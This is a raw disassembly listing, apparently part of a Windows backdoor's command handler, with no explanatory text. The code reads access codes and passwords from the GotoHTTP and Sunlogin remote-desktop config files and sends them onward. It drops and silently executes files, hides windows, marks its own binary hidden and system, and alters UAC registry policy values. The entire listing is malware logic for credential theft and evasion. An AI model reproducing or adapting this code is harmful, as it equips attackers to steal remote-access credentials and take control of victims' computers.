rep movsd dword es:[edi], dword [esi]
push 0
push 2
push 0
push 1
push 0x40000000
lea eax, [ebp - 0x327]
movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x40c517
mov ecx, dword [ebp - 0xd20]
lea eax, [ebp - 0xd28]
mov esi, dword [ebp - 0xd2c]
add ecx, 0xffffff9b
push 0
push eax
push ecx
lea ecx, [esi + 0x65]
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x40b813
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 6
push 0
push 0
lea eax, [ebp - 0x327]
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x234]
cmp ecx, 0xf
jbe case.0x40a47c.163
mov edx, dword [ebp - 0x248]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40b691
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40d0a2
push ecx
push edx
call fcn.00419e07
add esp, 8
jmp case.0x40a47c.163
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
lea esi, [eax + 0x10]
mov dword [ebp - 0xd2c], esi
mov byte [ebp - 4], 1
call fcn.00411020
mov ecx, eax
test ecx, ecx
je 0x40d07f
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
lea edi, [eax + 0x10]
mov dword [ebp - 0xd30], edi
mov byte [ebp - 4], 2
mov ecx, 1
mov eax, dword [esi - 8]
sub ecx, dword [esi - 4]
sub eax, 0x104
or eax, ecx
jge 0x40b701
push 0x104
lea ecx, [ebp - 0xd2c]
call fcn.0040f590
mov esi, dword [ebp - 0xd2c]
push str.C:ProgramDatagotohttp.ini
push 0x104
push esi
push 0x44aace
push str.name
push str.general
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov eax, dword [edi - 8]
mov ecx, 1
sub ecx, dword [edi - 4]
sub eax, 0x104
or eax, ecx
jge 0x40b74b
push 0x104
lea ecx, [ebp - 0xd30]
call fcn.0040f590
mov edi, dword [ebp - 0xd30]
push str.C:ProgramDatagotohttp.ini
push 0x104
push edi
push 0x44aace
push 0x44a8c4
push str.general
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push 0xc9
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0xd18], eax
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov byte [eax], 0xe3
lea eax, [ebp - 0xf0]
push eax
call esi
push edi
lea eax, [ebp - 0x8c]
push eax
call esi
mov edi, dword [ebp - 0xd18]
lea esi, [ebp - 0xf0]
inc edi
mov ecx, 0x32
rep movsd dword es:[edi], dword [esi]
mov esi, dword [ebp - 0xd18]
push esi
call dword [sym.imp.KERNEL32.dll_LocalSize]
mov ecx, dword [ebp - 0xd38]
push eax
push esi
call fcn.004111e0
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov byte [ebp - 4], 1
or esi, 0xffffffff
mov edx, dword [ebp - 0xd30]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40b7f4
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0
mov edx, dword [ebp - 0xd2c]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], esi
dec esi
test esi, esi
jg 0x40b813
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0x234]
cmp ecx, 0xf
jbe case.0x40a47c.2
mov edx, dword [ebp - 0x248]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40b847
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40d0a2
push ecx
push edx
call fcn.00419e07
add esp, 8
jmp case.0x40a47c.2
mov eax, dword [str.xrk.exe]
xorps xmm0, xmm0
movups xmmword [ebp - 0x248], xmm0
mov dword [ebp - 0x248], eax
mov ax, word [0x44a8d4]
mov word [ebp - 0x244], ax
mov al, byte [0x44a8d6]
mov dword [ebp - 0x238], 7
mov dword [ebp - 0x234], 0xf
mov byte [ebp - 0x242], al
mov byte [ebp - 0x241], 0
lea ecx, [ebp - 0x248]
mov dword [ebp - 4], 3
call fcn.0040a360
test al, al
je 0x40c13f
lea eax, [ebp - 0xd18]
mov dword [ebp - 0xd18], 0
push eax
push 0
push 0
push 0x43d450
call dword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
push dword [ebp - 0xd18]
lea ecx, [ebp - 0x290]
call fcn.0040e710
push str.Oray
lea ecx, [ebp - 0x340]
mov byte [ebp - 4], 4
call fcn.0040e710
push str.SunloginClient
lea ecx, [ebp - 0x2dc]
mov byte [ebp - 4], 5
call fcn.0040e710
push str.config.ini
lea ecx, [ebp - 0x388]
mov byte [ebp - 4], 6
call fcn.0040e710
mov byte [ebp - 4], 7
mov eax, SysReAllocString
mov edx, dword [ebp - 0x330]
sub eax, edx
cmp eax, 1
jb 0x40d0a7
cmp dword [ebp - 0x32c], 7
lea eax, [ebp - 0x340]
mov ecx, dword [ebp - 0x340]
lea esi, [ebp - 0x278]
cmova eax, ecx
mov dword [ebp - 0xd24], ecx
lea ecx, [edx + 1]
mov dword [ebp - 0xd30], eax
mov edi, 7
mov dword [ebp - 0x268], 0
seta byte [ebp - 0xd19]
mov dword [ebp - 0x264], 0
mov dword [ebp - 0xd34], ecx
xorps xmm0, xmm0
movups xmmword [ebp - 0x278], xmm0
cmp ecx, edi
jbe 0x40ba37
mov edi, ecx
or edi, 7
cmp edi, 0x7ffffffe
jbe 0x40b9bd
mov eax, SysReAllocString
mov edi, SysReAllocString
add eax, eax
jmp 0x40b9df
cmp edi, 0xa
mov eax, 0xa
cmovb edi, eax
lea eax, [edi + 1]
cmp eax, 0x7fffffff
ja 0x40d089
add eax, eax
cmp eax, 0x1000
jb 0x40ba12
lea ecx, [eax + 0x23]
cmp ecx, eax
jbe 0x40d089
push ecx
call fcn.00419e46
add esp, 4
test eax, eax
je 0x40d0a2
mov ecx, dword [ebp - 0xd34]
lea esi, [eax + 0x23]
mov edx, dword [ebp - 0x330]
and esi, 0xffffffe0
mov dword [esi - 4], eax
jmp 0x40ba31
test eax, eax
je 0x40ba2f
push eax
call fcn.00419e46
mov ecx, dword [ebp - 0xd34]
add esp, 4
mov edx, dword [ebp - 0x330]
mov esi, eax
jmp 0x40ba31
xor esi, esi
mov dword [ebp - 0x278], esi
mov ax, word [0x44aa90]
mov dword [ebp - 0x268], ecx
lea ecx, [esi + 2]
mov dword [ebp - 0x264], edi
mov word [esi], ax
lea eax, [edx + edx]
push eax
push dword [ebp - 0xd30]
push ecx
call fcn.0041c760
mov eax, dword [ebp - 0x330]
xor ecx, ecx
add esp, 0xc
mov word [esi + eax*2 + 2], cx
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x278]
mov esi, dword [ebp - 0x264]
mov eax, esi
mov edx, dword [ebp - 0x268]
sub eax, edx
cmp eax, 1
jb 0x40baba
cmp esi, 7
lea eax, [edx + 1]
mov dword [ebp - 0x268], eax
cmova ecx, dword [ebp - 0x278]
mov ax, word [0x44aa90]
mov word [ecx + edx*2], ax
xor eax, eax
mov word [ecx + edx*2 + 2], ax
lea eax, [ebp - 0x278]
jmp 0x40bacf
push 1
push 0x44aa90
mov byte [ebp - 0x24], 0
push dword [ebp - 0x24]
push 1
call fcn.004102f0
mov dword [ebp - 0x2b0], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x2c0], xmm0
mov dword [ebp - 0x2ac], 0
xor ecx, ecx
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x2c0], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x2b0], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
lea eax, [ebp - 0x2dc]
mov byte [ebp - 4], 9
push eax
lea edx, [ebp - 0x2c0]
lea ecx, [ebp - 0x370]
call fcn.0040fac0
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0xa
mov eax, dword [ecx + 0x14]
mov esi, dword [ecx + 0x10]
sub eax, esi
cmp eax, 1
jb 0x40bb6b
cmp dword [ecx + 0x14], 7
lea edi, [esi + 1]
mov dword [ecx + 0x10], edi
mov edx, ecx
jbe 0x40bb59
mov edx, dword [ecx]
mov ax, word [0x44aa90]
mov word [edx + esi*2], ax
xor eax, eax
mov word [edx + edi*2], ax
jmp 0x40bb88
push 1
push 0x44aa90
mov byte [ebp - 0xd28], 0
push dword [ebp - 0xd28]
push 1
call fcn.004102f0
mov ecx, eax
mov dword [ebp - 0x298], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x2a8], xmm0
mov dword [ebp - 0x294], 0
xor eax, eax
movups xmm0, xmmword [ecx]
movups xmmword [ebp - 0x2a8], xmm0
movq xmm0, qword [ecx + 0x10]
movq qword [ebp - 0x298], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
mov word [ecx], ax
lea eax, [ebp - 0x388]
mov byte [ebp - 4], 0xb
push eax
lea edx, [ebp - 0x2a8]
lea ecx, [ebp - 0x358]
call fcn.0040fac0
add esp, 4
push eax
lea ecx, [ebp - 0x290]
mov byte [ebp - 4], 0xc
call fcn.0040f370
mov byte [ebp - 4], 0xb
mov ecx, dword [ebp - 0x344]
cmp ecx, 7
jbe 0x40bc47
mov edx, dword [ebp - 0x358]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40bc3d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40d0a2
push ecx
push edx
call fcn.00419e07
add esp, 8
xor eax, eax
mov byte [ebp - 4], 0xa
mov ecx, dword [ebp - 0x294]
mov dword [ebp - 0x348], 0
mov dword [ebp - 0x344], 7
mov word [ebp - 0x358], ax
cmp ecx, 7
jbe 0x40bcac
mov edx, dword [ebp - 0x2a8]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40bca2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40d0a2
push ecx
push edx
call fcn.00419e07
add esp, 8
xor eax, eax
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x35c]
mov dword [ebp - 0x298], 0
mov dword [ebp - 0x294], 7
mov word [ebp - 0x2a8], ax
cmp ecx, 7
jbe 0x40bd11
mov edx, dword [ebp - 0x370]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40bd07
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40d0a2
push ecx
push edx
call fcn.00419e07
add esp, 8
xor eax, eax
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0x2ac]
mov dword [ebp - 0x360], 0
mov dword [ebp - 0x35c], 7
mov word [ebp - 0x370], ax
cmp ecx, 7
jbe 0x40bd76
mov edx, dword [ebp - 0x2c0]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40bd6c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40d0a2
push ecx
push edx
call fcn.00419e07
add esp, 8
xor eax, eax
mov byte [ebp - 4], 7
mov ecx, dword [ebp - 0x264]
mov dword [ebp - 0x2b0], 0
mov dword [ebp - 0x2ac], 7
mov word [ebp - 0x2c0], ax
cmp ecx, 7
jbe 0x40bddb
mov edx, dword [ebp - 0x278]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40bdd1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40d0a2
push ecx
push edx
call fcn.00419e07
add esp, 8
cmp dword [ebp - 0x27c], 7
lea ecx, [ebp - 0x290]
mov eax, dword [ebp - 0x280]
jbe 0x40bdfb
mov esi, dword [ebp - 0x290]
lea edi, [esi + eax*2]
jmp 0x40be04
lea edi, [ecx + eax*2]
lea esi, [ebp - 0x290]
mov dword [ebp - 0x250], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x260], xmm0
cmp esi, edi
jne 0x40be33
mov ecx, 0xf
mov byte [ebp - 0x260], 0
mov dword [ebp - 0x24c], ecx
jmp 0x40bf56
sub edi, esi
mov dword [ebp - 0x24c], 0xf
sar edi, 1
cmp edi, 0x7fffffff
ja 0x40d0a7
mov eax, 0xf
cmp edi, eax
jbe 0x40bf09
mov eax, edi
or eax, 0xf
cmp eax, 0x7fffffff
jbe 0x40be7a
mov eax, SysReAllocString
mov dword [ebp - 0xd30], SysStringLen
add eax, 0x23
jmp 0x40bea5
cmp eax, 0x16
mov ecx, 0x16
cmovb eax, ecx
mov dword [ebp - 0xd30], eax
lea ecx, [eax + 1]
cmp ecx, 0x1000
jb 0x40bed6
lea eax, [ecx + 0x23]
cmp eax, ecx
jbe 0x40d089
push eax
call fcn.00419e46
add esp, 4
test eax, eax
je 0x40d0a2
lea ecx, [eax + 0x23]
and ecx, 0xffffffe0
mov dword [ecx - 4], eax
mov eax, dword [ebp - 0xd30]
mov dword [ebp - 0x260], ecx
mov dword [ebp - 0x24c], eax
jmp 0x40bf0f
test ecx, ecx
je 0x40bef9
push ecx
call fcn.00419e46
mov ecx, eax
add esp, 4
mov eax, dword [ebp - 0xd30]
mov dword [ebp - 0x260], ecx
mov dword [ebp - 0x24c], eax
jmp 0x40bf0f
xor ecx, ecx
mov dword [ebp - 0x24c], eax
mov dword [ebp - 0x260], ecx
jmp 0x40bf0f
mov ecx, dword [ebp - 0x260]
cmp eax, 0xf
lea edx, [ebp - 0x260]
cmova edx, ecx
mov dword [ebp - 0xd34], edx
mov ecx, edx
mov edx, edi
test edi, edi
je 0x40bf40
nop dword [eax]
mov al, byte [esi]
lea ecx, [ecx + 1]
mov byte [ecx - 1], al
lea esi, [esi + 2]
sub edx, 1
jne 0x40bf30
mov eax, dword [ebp - 0xd34]
mov dword [ebp - 0x250], edi
mov byte [eax + edi], 0
mov ecx, dword [ebp - 0x24c]
cmp ecx, 0xf
mov byte [ebp - 4], 0xd
lea eax, [ebp - 0x260]
cmova eax, dword [ebp - 0x260]
push 0
push eax
call fcn.00423640
add esp, 8
cmp eax, 0xffffffff
jne 0x40c1ed
mov byte [ebp - 4], 7
mov ecx, dword [ebp - 0x24c]
cmp ecx, 0xf
jbe 0x40bfbc
mov edx, dword [ebp - 0x260]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40bfb2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40d0a2
push ecx
push edx
call fcn.00419e07
add esp, 8
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x374]
mov dword [ebp - 0x250], 0
mov dword [ebp - 0x24c], 0xf
mov byte [ebp - 0x260], 0
cmp ecx, 7
jbe 0x40c01b
mov edx, dword [ebp - 0x388]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40c011
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40d0a2
push ecx
push edx
call fcn.00419e07
add esp, 8
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0x2c8]
cmp ecx, 7
jbe 0x40c05f
mov edx, dword [ebp - 0x2dc]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40c055
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40d0a2
push ecx
push edx
call fcn.00419e07
add esp, 8
mov byte [ebp - 4], 4
cmp byte [ebp - 0xd19], 0
je 0x40c0ab
mov ecx, dword [ebp - 0x32c]
mov edx, dword [ebp - 0xd24]
mov eax, edx
lea ecx, [ecx*2 + 2]
cmp ecx, 0x1000
jb 0x40c0a1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40d0a2
push ecx
push edx
call fcn.00419e07
add esp, 8
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x27c]
cmp ecx, 7
jbe 0x40c0ef
mov edx, dword [ebp - 0x290]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40c0e5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40d0a2
push ecx
push edx
call fcn.00419e07
add esp, 8
mov esi, dword [ebp - 0xd2c]
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x234]
cmp ecx, 0xf
jbe case.0x40a47c.173
mov edx, dword [ebp - 0x248]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40c130
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40d0a2
push ecx
push edx
call fcn.00419e07
add esp, 8
jmp case.0x40a47c.173
mov ecx, 0x19
lea edi, [ebp - 0x328]
rep movsd dword es:[edi], dword [esi]
push 0
push 0
push 2
push 0
push 1
push 0x40000000
lea eax, [ebp - 0x327]
movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x40c517
mov ecx, dword [ebp - 0xd20]
lea eax, [ebp - 0x14]
mov esi, dword [ebp - 0xd2c]
add ecx, 0xffffff9b
push 0
push eax
push ecx
lea ecx, [esi + 0x65]
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x40c517
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0
lea eax, [ebp - 0x327]
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
nop
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x44a930
push str.32770
call dword [sym.imp.USER32.dll_FindWindowA]
test eax, eax
je 0x40c1c0
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
jmp 0x40c0f5
call fcn.00411020
mov ecx, eax
test ecx, ecx
je 0x40d08e
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
lea esi, [eax + 0x10]
mov dword [ebp - 0xd2c], esi
mov byte [ebp - 4], 0xe
call fcn.00411020
mov ecx, eax
test ecx, ecx
je 0x40d098
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
lea edi, [eax + 0x10]
mov dword [ebp - 0xd30], edi
mov byte [ebp - 4], 0xf
lea eax, [ebp - 0x260]
cmp dword [ebp - 0x24c], 0xf
mov ecx, 1
cmova eax, dword [ebp - 0x260]
sub ecx, dword [esi - 4]
mov dword [ebp - 0xd28], eax
mov eax, dword [esi - 8]
sub eax, 0x104
or eax, ecx
jge 0x40c277
push 0x104
lea ecx, [ebp - 0xd2c]
call fcn.0040f590
mov esi, dword [ebp - 0xd2c]
push dword [ebp - 0xd28]
push 0x104
push esi
push 0x44aace
push str.fastcode
push str.base
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
cmp dword [ebp - 0x24c], 0xf
lea eax, [ebp - 0x260]
mov ecx, 1
cmova eax, dword [ebp - 0x260]
sub ecx, dword [edi - 4]
mov dword [ebp - 0xd28], eax
mov eax, dword [edi - 8]
sub eax, 0x104
or eax, ecx
jge 0x40c2dc
push 0x104
lea ecx, [ebp - 0xd30]
call fcn.0040f590
mov edi, dword [ebp - 0xd30]
push dword [ebp - 0xd28]
push 0x104
push edi
push 0x44aace
push str.password
push str.base
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push 0xc9
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0xd34], eax
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov byte [eax], 0xe5
lea eax, [ebp - 0xf0]
push eax
call esi
push edi
lea eax, [ebp - 0x8c]
push eax
call esi
mov edi, dword [ebp - 0xd34]
lea esi, [ebp - 0xf0]
inc edi
mov ecx, 0x32
rep movsd dword es:[edi], dword [esi]
mov esi, dword [ebp - 0xd34]
push esi
call dword [sym.imp.KERNEL32.dll_LocalSize]
mov ecx, dword [ebp - 0xd38]
push eax
push esi
call fcn.004111e0
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov byte [ebp - 4], 0xe
or esi, 0xffffffff
mov edx, dword [ebp - 0xd30]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40c386
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0xd
mov edx, dword [ebp - 0xd2c]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], esi
dec esi
test esi, esi
jg 0x40c3a5
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0x24c]
cmp ecx, 0xf
jbe 0x40c3df
mov edx, dword [ebp - 0x260]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40c3d5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40d0a2
push ecx
push edx
call fcn.00419e07
add esp, 8
mov ecx, dword [ebp - 0x374]
mov dword [ebp - 0x250], 0
mov dword [ebp - 0x24c], 0xf
mov byte [ebp - 0x260], 0
cmp ecx, 7
jbe 0x40c43a
mov edx, dword [ebp - 0x388]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40c430
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40d0a2
push ecx
push edx
call fcn.00419e07
add esp, 8
mov ecx, dword [ebp - 0x2c8]
cmp ecx, 7
jbe 0x40c47a
mov edx, dword [ebp - 0x2dc]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40c470
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40d0a2
push ecx
push edx
call fcn.00419e07
add esp, 8
mov ecx, dword [ebp - 0x32c]
cmp ecx, 7
jbe 0x40c4ba
mov edx, dword [ebp - 0xd24]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40c4b0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40d0a2
push ecx
push edx
call fcn.00419e07
add esp, 8
mov ecx, dword [ebp - 0x27c]
cmp ecx, 7
jbe 0x40c4fa
mov edx, dword [ebp - 0x290]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40c4f0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40d0a2
push ecx
push edx
call fcn.00419e07
add esp, 8
xor eax, eax
mov dword [ebp - 0x280], 0
mov dword [ebp - 0x27c], 7
mov word [ebp - 0x290], ax
mov ecx, dword [ebp - 0x234]
cmp ecx, 0xf
jbe case.0x40a47c.2
mov edx, dword [ebp - 0x248]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40b847
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40d0a2
jmp 0x40b847
mov dword [0x44fb68], 3
nop
call fcn.0040d2b0
cmp al, 1
mov ecx, edi
push 1
lea eax, [ebp - 0xd19]
push eax
je 0x40c58e
mov byte [ebp - 0xd19], 0xe2
call fcn.004111e0
cmp dword [0x44fb68], 0
jne 0x40c560
jmp case.0x40a47c.2
mov byte [ebp - 0xd19], 0xe1
call fcn.004111e0
jmp case.0x40a47c.2
call fcn.0040d2b0
cmp al, 1
mov ecx, edi
push 1
lea eax, [ebp - 0xd19]
push eax
je 0x40c58e
mov byte [ebp - 0xd19], 0xe2
call fcn.004111e0
jmp case.0x40a47c.2
push 0
push 0
push 0
push 0x408c10
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp case.0x40a47c.2
push 0x104
lea eax, [ebp - 0x12c]
push 0
push eax
call fcn.0041cce0
push 0x104
lea eax, [ebp - 0x48c]
push 0
push eax
call fcn.0041cce0
push 0x104
lea eax, [ebp - 0x230]
push 0
push eax
call fcn.0041cce0
add esp, 0x24
lea eax, [ebp - 0x12c]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x104
lea eax, [ebp - 0x12c]
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push 0x104
lea eax, [ebp - 0x48c]
push eax
push str.COMSPEC
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x230]
push str._c_attrib
push eax
call esi
lea eax, [ebp - 0x12c]
push eax
lea eax, [ebp - 0x230]
push eax
call esi
push str._s_h
lea eax, [ebp - 0x230]
push eax
call esi
lea eax, [ebp - 0x48c]
mov dword [ebp - 0x300], 0x3c
mov dword [ebp - 0x2f0], eax
lea eax, [ebp - 0x230]
mov dword [ebp - 0x2ec], eax
lea eax, [ebp - 0x300]
push eax
mov dword [ebp - 0x2f8], 0
mov dword [ebp - 0x2f4], str.Open
mov dword [ebp - 0x2e8], 0
mov dword [ebp - 0x2fc], 0x40
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
je 0x40c729
mov esi, dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push 0x40
push dword [ebp - 0x2c8]
call esi
push 0x100
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
push 0xf
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push 0
lea eax, [ebp - 0x12c]
push eax
push 1
push 4
call dword [sym.imp.SHELL32.dll_SHChangeNotify]
call fcn.00408cf0
jmp case.0x40a47c.2
push 0
push 0
push 0
push 0x409100
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
push 0x7d0
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp case.0x40a47c.2
push 0
push 0
push 0
push 0
mov dword [ebp - 0x20], 0x4091e0
mov dword [ebp - 0x1c], 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push 0
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x20]
push eax
push 0x412ef0
push 0
push 0
call fcn.00424b5a
add esp, 0x18
push 0xffffffffffffffff
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp case.0x40a47c.2
push 0x44a464
call fcn.00422f39
add esp, 4
mov dword [ebp - 0xd28], eax
lea eax, [ebp - 0xd24]
push eax
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x40c80f
push 4
lea eax, [ebp - 0xd28]
push eax
push 4
push 0
push str.ConsentPromptBehaviorAdmin
push dword [ebp - 0xd24]
call esi
push dword [ebp - 0xd24]
call edi
push 0x44a464
call fcn.00422f39
add esp, 4
mov dword [ebp - 0xd28], eax
lea eax, [ebp - 0xd24]
push eax
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne case.0x40a47c.2
push 4
lea eax, [ebp - 0xd28]
push eax
push 4
push 0
push str.PromptOnSecureDesktop
push dword [ebp - 0xd24]
call esi
push dword [ebp - 0xd24]
call edi
jmp case.0x40a47c.2
mov dword [0x451d10], 1
push 0
push 0
push 0
push 0x409a40
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp case.0x40a47c.2
push 0
push 0
push 0
push 0x409a90
push 0
push 0
mov dword [0x451d0c], 1
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp case.0x40a47c.2
push 0
push 0
push 0
push 0x409ae0
push 0
push 0
mov dword [0x451d08], 1
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp case.0x40a47c.2
push 0
push 0
push 0
push 0x409b80
push 0
push 0
mov dword [0x451d00], 1
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp case.0x40a47c.2
push 0
push 0
push 0
push 0x409b30
push 0
push 0
mov dword [0x451d04], 1
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp case.0x40a47c.2
mov dword [0x451d10], 0
jmp 0x40c872
push 0
push 0
push 0
push 0x409a90
push 0
push 0
